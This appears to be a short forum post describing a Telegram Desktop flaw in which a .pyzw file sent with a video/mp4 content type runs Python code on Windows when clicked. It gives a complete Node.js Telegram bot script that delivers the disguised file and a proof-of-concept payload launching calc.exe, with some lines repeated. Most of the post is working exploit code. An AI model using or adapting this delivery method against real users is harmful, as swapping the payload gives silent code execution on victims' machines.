There is currently an exploit with Telegram where you can send a .pyzw file with the mimetype of video/mp4, on certain systems it will result in Python code execution upon clicking the video!
Relevant GitHub issue: https://github.com/telegramdesktop/tdesktop/pull/27737
Limitations: Target must be on Windows. Target must have Python installed
download.pyzw content:
Relevant GitHub issue: https://github.com/telegramdesktop/tdesktop/pull/27737
Limitations: Target must be on Windows. Target must have Python installed
JavaScript:
const fs = require("fs");
const TelegramBot = require("node-telegram-bot-api");
const token = "BOT_TOKEN";
const bot = new TelegramBot(token, { polling: true });
bot.onText(/\/video/, (msg) => {
const chatId = msg.chat.id;
bot.sendVideo(
chatId,
fs.readFileSync("/home/user/download.pyzw"),
{
width: 300,
height: 300,
duration: 30,
// thumbnail: "https://duckduckgo.com/favicon.ico",
}, {
filename: "coolvideo.pyzw",
contentType: "video/mp4"
}
);
});
download.pyzw content:
Код:
__import__("subprocess").call(["calc.exe"])
Последнее редактирование: